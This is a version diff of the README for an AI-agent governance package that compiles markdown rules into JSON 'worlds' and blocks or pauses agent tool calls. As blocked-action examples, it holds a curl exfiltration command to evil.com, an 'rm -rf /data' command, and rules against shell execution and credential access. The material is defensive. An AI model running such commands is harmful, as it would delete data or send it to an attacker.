@neuroverseos/governance 0.1.0 → 0.1.2

package/README.md

@@ -1,198 +1,555 @@
-# NeuroVerseOS — Governance Kernel for OpenClaw
+# NeuroVerse Governance
 
-NeuroVerseOS is a deterministic governance kernel for autonomous agents running in OpenClaw.
+**Define governance rules once and enforce them anywhere AI or automated systems operate.**
 
-It compiles your `.md` agent files into a structured World File and enforces invariants, guards, rules, and role-based authority on every tool call.
+NeuroVerse turns written ideas into portable governance systems — structured rules, variables, and outcomes that both humans and AI must operate inside.
 
-No AI calls during enforcement. No network requests. Same world + same event = same verdict.
+## The 10-Second Mental Model
 
-## What NeuroVerseOS Does
+```
+Idea (markdown)
+  ↓
+World (compiled JSON rules)
+  ↓
+Guard Engine
+  ↓
+ALLOW | PAUSE | BLOCK
+```
 
-NeuroVerseOS introduces structured, enforceable governance to agent systems.
+Write the rules once. Enforce them anywhere:
+- AI agents
+- Automation systems
+- API gateways
+- Simulations
+- Safety layers
 
-It ensures that:
+World files are not locked to NeuroVerse. They are **portable rule systems** — any runtime that can parse JSON and evaluate conditions can enforce a world.
 
-- Global constraints cannot be silently weakened
-- Role-based authority is enforced at runtime
-- World updates require explicit human approval
-- Governance integrity is verified on every tool call
-- All decisions are auditable
+## Install
 
-This is not prompt filtering. This is runtime constitutional enforcement.
+```bash
+npm install neuroverse-governance
+```
 
-## Governance Model
+## Quick Start
 
-NeuroVerseOS enforces governance across four layers:
+```bash
+npm install neuroverse-governance
+npx neuroverse init
+neuroverse build governance-policy.md
+neuroverse guard --world .neuroverse/worlds/governance_policy
+```
 
-1. **Invariants** — Unbreakable global constraints
-2. **Guards** — Conditional limits requiring review
-3. **Rules** — Context-aware evaluation logic
-4. **Roles** — Delegated authority bound to agent identities
+Or explore what's available:
 
-Role permissions are enforced inside world-level invariants. Delegated authority can never override global constraints.
+```bash
+npx neuroverse --help
+```
 
-## Governance Lifecycle
+## Quick Example: AI Safety Governance
 
-World updates follow a mandatory approval flow:
+Define rules that restrict unsafe agent behavior, then enforce them at runtime.
 
+**1. Write the rules** (plain markdown):
+
+```markdown
+Theme: AI Agent Safety Policy
+
+Rules:
+- Agent must not call unapproved external APIs
+- Agent cannot execute shell commands without approval
+- All database writes require human review
+- Agent must not access credential stores
+
+Variables:
+- risk_level (0-100)
+- approved_actions_count
+- blocked_actions_count
 ```
-ACTIVE → PENDING → APPROVED → ACTIVE
+
+**2. Build the world:**
+
+```bash
+neuroverse build ai-safety-policy.md
 ```
 
-- `/world bootstrap` creates a pending world
-- `/world diff` shows structured changes
-- `/world approve` activates it
-- Critical changes require explicit confirmation
+**3. Enforce at runtime:**
 
-No world change activates silently.
+```bash
+echo '{"intent":"call_external_api","tool":"http","args":{"url":"https://evil.com"}}' \
+  | neuroverse guard --world .neuroverse/worlds/ai_agent_safety_policy
+```
 
-## Installation
+```
+BLOCKED
+  Rule: external_api_restriction
+  Reason: External API domain not in approved list
+```
+
+Every action produces `ALLOW`, `PAUSE`, or `BLOCK` with full audit evidence. That's a governance engine in three commands.
+
+## Example World: Narrative System Dynamics
+
+The "Inherited Silence" world is a fictional example used to demonstrate how complex causal rule systems evolve over time.
+
+NeuroVerse worlds can model **any domain** — AI governance, finance, business automation, safety layers, or narrative systems.
 
 ```bash
-openclaw plugins install @neuroverseos/governance
+neuroverse build narrative-notes.md
+neuroverse explain inherited_silence
+neuroverse simulate inherited_silence --steps 5
+neuroverse improve inherited_silence
+```
+
+**Explain** — understand the system:
+
+```
+WORLD: The Inherited Silence
+THESIS: Suppressed trauma manifests as a destructive force
+
+KEY DYNAMICS
+  Fear Escalation [degradation]
+    When: fear_intensity > 60
+    Then: Monster violence increases by 25%
+  Intervention Window [advantage]
+    When: therapy_progress > 50 AND josie_awareness > 40
+    Then: Monster violence reduced by 30%
+
+DRAMATIC TENSIONS
+  monster_violence_level:
+    Increased by: Fear Escalation, Rage Overflow
+    Decreased by: Intervention Window, Safety Protocol
 ```
 
-For local development:
+**Simulate** — see what happens step by step:
 
 ```bash
-openclaw plugins install -l .
+neuroverse simulate inherited_silence --steps 5
+neuroverse simulate inherited_silence --set fear_intensity=90
+neuroverse simulate inherited_silence --profile worst_case
+```
+
+```
+STEP 1
+  FIRED: Fear Escalation
+    monster_violence: 50 -> 62.50
+  FIRED: Safety Protocol
+    josie_safety: 70 -> 75
+  Viability: STABLE
+
+STEP 2
+  FIRED: Rage Overflow
+    monster_violence: 62.50 -> 78.13
+    COLLAPSE on monster_violence
+  ** MODEL COLLAPSED **
+```
+
+**Improve** — get actionable suggestions:
+
 ```
+IMPROVE: The Inherited Silence
+Health Score: 78/100
+
+HIGH PRIORITY
+  ! No advantage rules fire with default state
+    Action: Adjust rule thresholds so stabilizing rules engage in baseline
+  ! 2 write-only variables
+    Action: Add rules that trigger on these variables to create feedback
+
+SUGGESTIONS
+  - Missing viability level: COMPRESSED
+    Action: Add gate between STABLE and CRITICAL
+  - Only one assumption profile
+    Action: Add alternative profile for scenario comparison
+```
+
+These examples show the engine is **domain-independent** — it works for AI safety, financial risk controls, narrative dynamics, or any system with rules and consequences.
+
+## What a World Contains
+
+A compiled world is a directory of JSON files defining a complete governance system:
+
+| File | Purpose |
+|------|---------|
+| `world.json` | Identity, thesis, runtime mode |
+| `invariants.json` | Constraints that cannot change |
+| `state-schema.json` | Variables that can change |
+| `rules/` | Causal dynamics (when X, then Y) |
+| `gates.json` | Viability thresholds |
+| `outcomes.json` | What gets measured |
+| `assumptions.json` | Scenario profiles for what-if analysis |
+| `guards.json` | Runtime enforcement rules |
+| `roles.json` | Multi-agent permissions |
+| `kernel.json` | LLM-specific constraints |
 
-If OpenClaw runs on a VPS, install the plugin on that server.
+Every rule includes a `causal_translation` — human-readable narrative text explaining its logic.
 
-## Storage Model
+## CLI Commands
 
-NeuroVerseOS stores governance state per OpenClaw workspace in:
+### Build & Understand
 
 ```
-.neuroverseos/
+neuroverse build <input.md> [--output <dir>]
 ```
+Turn markdown into a compiled world (derive + compile in one step).
 
-This directory contains:
+```
+neuroverse explain <world-path-or-id> [--json]
+```
+Human-readable summary of a world's dynamics, tensions, and structure.
 
-- `world.json`
-- `world.meta.json`
-- `audit.jsonl`
-- `state.json`
-- `proposals/`
+```
+neuroverse simulate <world-path-or-id> [--steps N] [--set key=value] [--profile name]
+```
+Step-by-step state evolution. Fire rules, observe state changes, detect collapse.
 
-No global hidden state. Each workspace maintains independent governance.
+```
+neuroverse improve <world-path-or-id> [--json]
+```
+Prioritized suggestions for strengthening a world (health score, missing rules, dead variables).
 
-## Quick Start
+### Governance
+
+```
+neuroverse validate --world <dir> [--format full|summary|findings]
+```
+Static analysis on world files. Finds missing rules, unreachable states, orphaned variables, and structural issues. Like a linter for governance.
+
+```
+neuroverse guard --world <dir> [--trace] [--level basic|standard|strict]
+```
+Runtime enforcement. Reads events from stdin, evaluates against the world's rules, outputs verdicts to stdout. Exit codes: 0 = ALLOW, 1 = BLOCK, 2 = PAUSE.
+
+```bash
+echo '{"intent":"delete_user","tool":"database"}' | neuroverse guard --world ./world --trace
+```
+
+```json
+{
+  "status": "BLOCK",
+  "reason": "destructive database operation requires approval",
+  "ruleId": "db_write_guard",
+  "evidence": {
+    "worldId": "ai_agent_safety_policy",
+    "invariantsSatisfied": 5,
+    "invariantsTotal": 5,
+    "enforcementLevel": "strict"
+  }
+}
+```
+
+### Audit & Impact
+
+```
+neuroverse trace [--log <path>] [--summary] [--filter BLOCK] [--last 20]
+```
+Read and filter the audit log of past guard decisions. Every `guard` evaluation is recorded in NDJSON format. Use `--summary` for aggregated stats, `--filter` to show only BLOCK/PAUSE/ALLOW, and `--last N` to see recent events.
+
+```
+neuroverse impact [--log <path>] [--json]
+```
+Counterfactual governance impact report. Answers: **"What would have happened without governance?"** Shows prevention rates, blocked action categories, repeat violations, hot actors, and most active rules.
+
+```
+GOVERNANCE IMPACT REPORT
+══════════════════════════════════════════════════
+
+  World: ai_agent_safety_policy
+  Period: 2025-01-01 → 2025-01-31
+
+SUMMARY
+──────────────────────────────────────────────────
+  Total evaluations:   1,247
+  Allowed:             1,089
+  Blocked:               142
+  Paused:                 16
+  Prevention rate:      12.7%
+
+WITHOUT GOVERNANCE
+──────────────────────────────────────────────────
+  158 actions would have executed unchecked:
+    Destructive Action Prevention                    52
+    Command Execution Prevention                     38
+    Network Access Prevention                        29
+    ...
+```
 
-Inside your OpenClaw workspace:
+### World Management
 
 ```
-/world bootstrap
-/world diff
-/world approve
+neuroverse world status <path>
 ```
+Show the current state of a compiled world (identity, file counts, last modified).
 
-This compiles your `.md` agent files into a structured World File and activates governance.
+```
+neuroverse world diff <path1> <path2>
+```
+Compare two world versions side by side (rules added/removed/changed).
 
-## Runtime Enforcement
+```
+neuroverse world snapshot <path>
+```
+Create a timestamped snapshot of a world for versioning.
 
-Every tool call passes through a deterministic evaluation pipeline:
+```
+neuroverse world rollback <path>
+```
+Roll back to a previous snapshot.
 
-1. **Invariants** (BLOCK)
-2. **Guards** (PAUSE or BLOCK)
-3. **Rules** (context-aware verdict)
-4. **Role constraints**
-5. **Default** (ALLOW)
+### Authoring
 
-**Example BLOCK:**
+```
+neuroverse init [--name "World Name"] [--output path]
+```
+Scaffold a new `.nv-world.md` template to get started writing governance rules.
 
 ```
-[governance] BLOCK  shell → curl https://evil.com/exfil
-             invariant: no-data-exfiltration
+neuroverse derive --input <path> [--output <path>] [--dry-run]
+```
+AI-assisted synthesis — turns freeform markdown notes into a structured `.nv-world.md` file. Requires an AI provider (see `configure-ai`).
+
+```
+neuroverse bootstrap --input <.md> --output <dir> [--validate]
+```
+Compile a `.nv-world.md` into world JSON files the engine can load. This is the lower-level compile step that `build` wraps.
+
+```
+neuroverse configure-ai --provider <name> --model <name> --api-key <key>
+```
+Configure AI provider credentials for `build` and `derive` commands.
+
+```bash
+neuroverse configure-ai \
+  --provider openai \
+  --model gpt-4.1-mini \
+  --api-key YOUR_API_KEY
+```
+
+## Programmatic API
+
+All engine functions are pure, deterministic, and side-effect free (except `deriveWorld` which calls an AI provider).
+
+### Core Evaluation
+
+```typescript
+import {
+  evaluateGuard,
+  loadWorld,
+  validateWorld,
+  simulateWorld,
+  improveWorld,
+  explainWorld,
+} from 'neuroverse-governance';
+
+// Load a world
+const world = await loadWorld('.neuroverse/worlds/my_world');
+
+// Evaluate an action
+const verdict = evaluateGuard(
+  { intent: 'delete user data', tool: 'database' },
+  world,
+);
+// → { status: 'BLOCK', reason: '...', evidence: {...} }
+
+// Simulate state evolution
+const sim = simulateWorld(world, { steps: 5 });
+// → { finalState: {...}, finalViability: 'STABLE', collapsed: false }
+
+// Get improvement suggestions
+const report = improveWorld(world);
+// → { score: 82, suggestions: [...] }
+```
+
+### Audit Logging
+
+Every governance decision can be recorded with pluggable loggers.
+
+```typescript
+import {
+  createGovernanceEngine,
+  FileAuditLogger,
+  ConsoleAuditLogger,
+  CompositeAuditLogger,
+} from 'neuroverse-governance';
+
+// File logger (NDJSON, append-only)
+const fileLogger = new FileAuditLogger('.neuroverse/audit.ndjson');
+
+// Console logger (writes to stderr, useful for dev)
+const consoleLogger = new ConsoleAuditLogger();
+
+// Combine multiple loggers
+const logger = new CompositeAuditLogger(fileLogger, consoleLogger);
+
+// Create a governed engine with automatic audit logging
+const engine = createGovernanceEngine(world, { auditLogger: logger });
+
+const verdict = engine.evaluate({ intent: 'execute_trade', tool: 'api' });
+// → verdict is returned AND automatically logged
+
+await engine.flush(); // flush buffered log entries
 ```
 
-**Example PAUSE:**
+### Verdict Formatting
+
+Consistent human-readable verdict output for CLIs, UIs, and adapters.
+
+```typescript
+import { formatVerdict, formatVerdictOneLine } from 'neuroverse-governance';
 
+formatVerdict(verdict);
+// "BLOCKED\n  Rule: margin_floor\n  Reason: margin ratio below 10%"
+
+formatVerdict(verdict, { compact: true });
+// "BLOCKED — margin_floor: margin ratio below 10%"
+
+formatVerdict(verdict, { color: true, showEvidence: true });
+// Same with ANSI colors + full evidence
+
+formatVerdictOneLine(verdict);
+// "BLOCK: margin_floor — margin ratio below 10%"
 ```
-[governance] PAUSE  shell → rm -rf /data
-             guard: destructive_shell_requires_approval
-             Allow? [y]es / [a]lways / [n]o
+
+### Impact Reports
+
+Counterfactual analysis from audit logs — proves the value of governance.
+
+```typescript
+import {
+  generateImpactReport,
+  generateImpactReportFromFile,
+  renderImpactReport,
+} from 'neuroverse-governance';
+
+// From an audit log file
+const report = await generateImpactReportFromFile('.neuroverse/audit.ndjson');
+
+// Or from audit events directly
+const report2 = generateImpactReport(auditEvents);
+
+// Render as human-readable text
+console.log(renderImpactReport(report));
+// → prevention rates, blocked categories, repeat violations, hot actors
 ```
 
-All verdicts are logged to `.neuroverseos/audit.jsonl`.
+## Framework Adapters
+
+Drop governance into existing AI pipelines without changing application code.
 
-## Runtime Integrity Verification
+### LangChain
 
-Before evaluating rules, NeuroVerseOS verifies system integrity:
+```typescript
+import { createNeuroVerseCallbackHandler } from 'neuroverse-governance/adapters/langchain';
 
-| Check | Behavior |
-|-------|----------|
-| World hash verification | BLOCK if modified outside approval pipeline |
-| World missing detection | BLOCK if world deleted |
-| Pending world reminder | Warn once per session |
-| Source drift detection | Warn if `.md` files changed since bootstrap |
+const handler = await createNeuroVerseCallbackHandler('./world/', {
+  onBlock: (verdict) => console.log('Blocked:', verdict.reason),
+  onPause: (verdict) => requestHumanApproval(verdict),
+});
+
+// Plug directly into LangChain's callback system
+const agent = new AgentExecutor({ ..., callbacks: [handler] });
+```
 
-Critical failures fail closed.
+Intercepts tool invocations and evaluates them against the world before execution. BLOCK throws `GovernanceBlockedError`, PAUSE calls your `onPause` handler.
 
-**Example tamper detection:**
+### OpenAI
 
+```typescript
+import { createGovernedToolExecutor } from 'neuroverse-governance/adapters/openai';
+
+const executor = await createGovernedToolExecutor('./world/');
+
+// In your tool execution loop:
+for (const toolCall of message.tool_calls) {
+  const result = await executor.execute(toolCall, myToolRunner);
+  // ALLOW → runs the tool, returns result
+  // BLOCK → returns blocked message (no execution)
+  // PAUSE → throws for your approval flow
+}
 ```
-[!!!] World file integrity check failed.
-→ Run /world restore
+
+Wraps OpenAI function calling with governance enforcement. Each `tool_call` is evaluated before the tool runs.
+
+### OpenClaw
+
+```typescript
+import { createNeuroVersePlugin } from 'neuroverse-governance/adapters/openclaw';
+
+const plugin = await createNeuroVersePlugin('./world/', {
+  evaluateOutputs: true, // also check post-action results
+});
+
+agent.use(plugin);
 ```
 
-## Agent Identity → Role Binding
+Provides `beforeAction` and `afterAction` hooks for OpenClaw agents. Pre-action governance blocks unsafe actions; post-action governance catches unsafe outputs.
+
+### Express / Fastify
 
-Each OpenClaw agent (`ctx.agentId`) is explicitly bound to a governance role.
+```typescript
+import { createGovernanceMiddleware } from 'neuroverse-governance/adapters/express';
 
-Roles define:
+const middleware = await createGovernanceMiddleware('./world/', {
+  level: 'strict',
+  blockStatusCode: 403,
+});
 
-- `canDo`
-- `cannotDo`
-- `requiresApproval`
+// Express
+app.use('/api', middleware);
 
-Bindings are stored in `world.meta.json` and follow the same approval lifecycle as world changes.
+// Fastify
+fastify.addHook('preHandler', middleware);
+```
+
+HTTP middleware that evaluates incoming requests against a world. Maps HTTP method + path to governance events. Blocked requests get a 403 with the rule and reason.
 
-Role enforcement is deterministic and runtime-verified.
+## Portability
 
-## Drift Detection
+A world file is not tied to NeuroVerse. It is a **machine-readable governance definition** containing rules, variables, invariants, and outcomes. Any runtime that can evaluate:
+
+```
+Action → check rules → allow / block / modify
+```
 
-NeuroVerseOS tracks divergence between your `.md` source files and the active World File.
+can enforce a world. This means world files can run inside:
 
-If drift is detected:
+- **AI agents** — Claude tools, LangChain, AutoGPT-style agents. The world becomes a guard layer.
+- **Business automation** — Trading systems, order processing, pricing rules. World rules become policy enforcement.
+- **Games and simulations** — Narrative systems, NPC behavior, economy balancing. The world defines the rules of the universe.
+- **AI safety layers** — Prompt toolchains, enterprise guardrails, compliance frameworks. The world defines what AI is allowed to do.
 
-- `/world status` shows changed files
-- You are prompted to regenerate
-- Governance never updates silently
+## Writing Good Input
 
-## Composable Governance
+`neuroverse build` works best on **structured notes or bullet points**:
 
-Worlds are composable.
+```markdown
+Theme: Customer support governance
 
-You can import or compose governance modules (e.g., operational safety, budget controls, strategy models) into a single enforceable World File.
+Rules:
+- Agent must not access billing without manager approval
+- Escalation required for refunds over $500
+- Agent cannot delete customer accounts
+- Response time must stay under 30 seconds
 
-All compositions generate a pending world and require approval.
+Variables:
+- Customer satisfaction (0-100)
+- Escalation count
+- Resolution rate
+```
 
-## Commands
+Vague prose produces weak governance. Structured ideas produce strong worlds.
 
-| Command | Description |
-|---------|-------------|
-| `/world bootstrap` | Compile `.md` files into pending world |
-| `/world status` | View governance + integrity state |
-| `/world diff` | Compare pending vs active |
-| `/world approve` | Activate pending world |
-| `/world reject` | Discard pending changes |
-| `/world history` | View past versions |
-| `/world rollback <N>` | Restore previous version |
-| `/world restore` | Recover from tampering |
-| `/world bind <agent> <role>` | Bind agent to role |
-| `/world bindings` | View agent-role bindings |
+## The Ecosystem
 
-## Design Principles
+```
+CLI              → creates worlds (this package)
+Configurator     → visually creates worlds
+NeuroVerse OS    → explores and runs worlds
+Plugins          → world runtime adapters (OpenClaw, LangChain, etc.)
+```
 
-- Deterministic runtime enforcement
-- Fail-closed integrity model
-- Explicit human approval for world changes
-- Role-based delegated authority
-- Per-workspace deterministic storage
-- No network calls during enforcement
+They all produce and consume the same thing: `world.json`.
 
 ## License
 
-MIT
+Apache 2.0